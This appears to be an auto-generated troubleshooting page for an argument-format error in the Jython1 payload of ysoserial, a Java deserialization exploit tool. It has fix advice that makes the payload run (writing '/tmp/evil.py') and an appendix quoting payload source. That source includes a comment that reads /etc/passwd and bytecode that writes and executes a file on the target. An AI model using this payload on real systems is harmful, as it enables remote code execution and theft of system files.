frohoff/ysoserial · error · IllegalArgumentException

Unsupported command

Error message

Unsupported command ${command} ${paths}

What it means

Jython1 payload expects the command to be exactly two ';'-separated paths: a local Python file to read and a destination path. getObject() throws this IllegalArgumentException when the split yields any count other than 2.

Solutions

1. Pass exactly two semicolon-separated paths: '<python-script-file>;<output-dest-path>'
2. Remove any trailing or doubled semicolons in the command
3. Ensure the local Python script file exists and is readable

Example fix

// before
new Jython1().getObject("/tmp/payload.py;");
// after
new Jython1().getObject("/tmp/payload.py;/tmp/evil.py");

String[] p = command.split(";"); if (p.length != 2) throw new IllegalArgumentException("expected <script-file>;<dest-path>");

try { q = new Jython1().getObject(cmd); } catch (IllegalArgumentException e) { usage(e.getMessage()); }

When it happens

Trigger: Calling Jython1.getObject(command) with a command that splits on ';' into 1 or 3+ parts — e.g. only a script path, or an extra ';' accidentally left in a path.

Common situations: Forgetting the second path argument; Windows-style absolute paths containing characters users quote oddly; trailing semicolons from copy-paste.

Understand the failure class

Background: "Invalid ... format", "must be in format X", "does not look like a ..." — invalid argument format errors across CLI tools and libraries — this error's family across 17 libraries.

Related errors

• Command format is
• Command format is
• Unsupported command
• Command format is
• Hibernate4 can only call getters

AI-assisted analysis of frohoff/ysoserial@218bcffcaa (2026-09-12). Data as JSON: /api/errors/fa3199cb5aa63ebe. Report an issue: GitHub.

Appendix: source

Thrown at src/main/java/ysoserial/payloads/Jython1.java:52

 *
 * raise Exception(open('/etc/passwd', 'r').read())
 *
 * Then, when deserialized, the script will read in /etc/passwd and raise an
 * exception with its contents (which could be useful if the target returns
 * exception information).
 */

@PayloadTest(skip="non RCE")
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({ "org.python:jython-standalone:2.5.2" })
@Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711 })
public class Jython1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {

    public PriorityQueue getObject(String command) throws Exception {

        String[] paths = command.split(";");
        if (paths.length != 2) {
            throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths));
        }

        // Set payload parameters
        String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8");

        // Python bytecode to write a file on disk and execute it
        String code =
              "740000" + //0 LOAD_GLOBAL               0 (open)
              "640100" + //3 LOAD_CONST                1 (remote path)
              "640200" + //6 LOAD_CONST                2 ('w+')
              "830200" + //9 CALL_FUNCTION             2
              "7D0000" + //12 STORE_FAST               0 (file)

              "7C0000" + //15 LOAD_FAST                0 (file)
              "690100" + //18 LOAD_ATTR                1 (write)
              "640300" + //21 LOAD_CONST               3 (python code)
              "830100" + //24 CALL_FUNCTION            1
              "01" +     //27 POP_TOP

View on GitHub (pinned to 218bcffcaa)